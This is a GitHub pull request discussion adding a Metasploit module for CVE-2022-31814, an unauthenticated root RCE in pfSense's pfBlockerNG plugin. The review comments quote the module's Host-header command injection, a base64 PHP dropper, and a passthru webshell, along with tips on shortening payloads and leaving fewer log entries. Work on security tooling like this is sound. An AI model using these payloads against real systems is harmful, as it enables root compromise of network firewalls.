-
Notifications
You must be signed in to change notification settings - Fork 13.9k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add module for pfSense pfBlockNG unauth RCE as root - CVE-2022-31814 #17032
Add module for pfSense pfBlockNG unauth RCE as root - CVE-2022-31814 #17032
Conversation
I can't seem to send a PR to the PR to add to the notes, so whatever, I'll add them in this comment (along with the other comment above). For IoC's in Logs, I did a look about, and found the exploitation creates log entries in the following places:
For less-logs, using a POST request to send the commands to the webshell is far superior, that way you don't end up with commandstager crap spewed into the nginx access log, so there is significantly less mess to clean up. |
send_request_raw( | ||
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'), | ||
'headers' => { | ||
'Host' => "' *; echo '#{Rex::Text.encode_base64(web_shell_contents)}'|python3.8 -m base64 -d | php; '" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Instead of python3.8 -m base64 -d
, I'd suggest openssl base64 -d
. My main concern being the versioned python binary. Although, if pfsense never changes it then 🤷🏼
Great module @jheysel-r7! <3
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
base64 -d
is even shorter :)
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Too bad pfSense doesn't have base64 -d
;)
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Arg.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks all!! 🙇
|
||
def exploit | ||
print_status 'Uploading shell...' | ||
# The webshell filename has to be a specific length in order for the exploit to be successful, either: 5, 8, 11, 14, 17... |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
No need for the trailing ...
since [5, 8, 11, 14, 17]
are the only values used.
print_status("Webshell name is: #{@webshell_name}") | ||
|
||
web_shell_contents = <<~EOF | ||
<?$a=fopen("/usr/local/www/#{@webshell_name}","w") or die();$t='<?php print(passthru( $_GET["c"]));?>';fwrite($a,$t);fclose( $a);?> |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This can be golfed/improved:
<?php file_put_contents('/usr/local/www/#{@webshell_name}','<?php print(passthru($_GET["c"]));');
- Short tags (
<?
) are deprecated file_put_contents
is equivalent tofopen()
→fwrite()
→fclose()
- No need to provide a closing tag (
?>
) - No need to add a trailing
||die()
now that we have a single statement
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Also, why not use getmyuid()
/get_current_user()
/posix_getuid()
/… directly?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks @jvoisin, these are all great. I've made these changes and retested.
Do you mean using getmyuid()
/get_current_user()
/posix_getuid()
directly when issuing the check_for_shell
request?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Absolutely, since you're checking the return of a getuid
function to see if the target is vulnerable.
send_request_raw( | ||
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'), | ||
'headers' => { | ||
'Host' => "' *; echo '#{Rex::Text.encode_base64(web_shell_contents)}'|python3.8 -m base64 -d | php; '" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
base64 -d
is even shorter :)
Just another FYI: You can replace the base64 entirely with hex using A worked example as part of my implementation of this exploit is here: EvergreenCartoons/SenselessViolence#7 This also avoids weird bad-char issues to do with forward slashes in base64, allowing for much greater freedom in payload selection. |
Sweet, this is great! Thanks for linking |
Further payload optimising: yes, we can go smaller, replace the PHP dropper with a simple shell dropper. Also worth noting - with the hex encoding there is no restriction that I have found on the length of the webshell name, and I've tested it pretty extensively so far. I've yet to commit the latest changes to my implementation, but it works. Code snippet (python3) below:
|
Thanks for the suggestion @EvergreenCartoons, much appreciated. I tried implementing this but wasn't able to get code execution. I tried to follow what you suggested: Updated the shell code to run the Do you know if I'll have to update how I'm sending the command in |
@webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(8..16)}.php" | ||
print_status("Webshell name is: #{@webshell_name}") | ||
web_shell_contents = <<~EOF | ||
<?php echo file_put_contents('/usr/local/www/#{@webshell_name}','<?php print(passthru( $_POST["c"]));'); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
'<?php print(passthru( $_POST["c"]));'
→ '<?php echo(passthru($_POST["c"]));'
is even shorter!
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Updated, thanks @jvoisin!
…rameter name to module along with cleanup code for deleting uploaded files
f5636d6
to
e9f54aa
Compare
2e6e96b
to
a3e32ff
Compare
Release NotesA module has been added for CVE-2022-31814, an unauthenticated RCE in the pfSense plugin within pfBlockerNG that allows remote unauthenticated attackers to execute execute arbitrary OS commands as root via shell metacharacters in the HTTP Host header. Versions =< 2.1.4_26 are vulnerable. Note that version 3.X is unaffected. |
} | ||
) | ||
sleep datastore['WfsDelay'] | ||
register_file_for_cleanup("/usr/local/www/#{@webshell_name}") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
A little late to the party but this will leave around a file if only the check
is called.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Fix has been pushed #17163. Thanks for bringing this up!
This module exploits a vulnerability in the pfSense plugin, pfBlockerNG that allows remote unauthenticated
attackers to execute execute arbitrary OS commands as root via shell metacharacters in the HTTP Host header.
Versions =< 2.1.4_26 are vulnerable, note that version 3.X is unaffected.
Verification
List the steps needed to make sure this thing works
msfconsole
use unix/http/pfsense_pfblockerng_webshell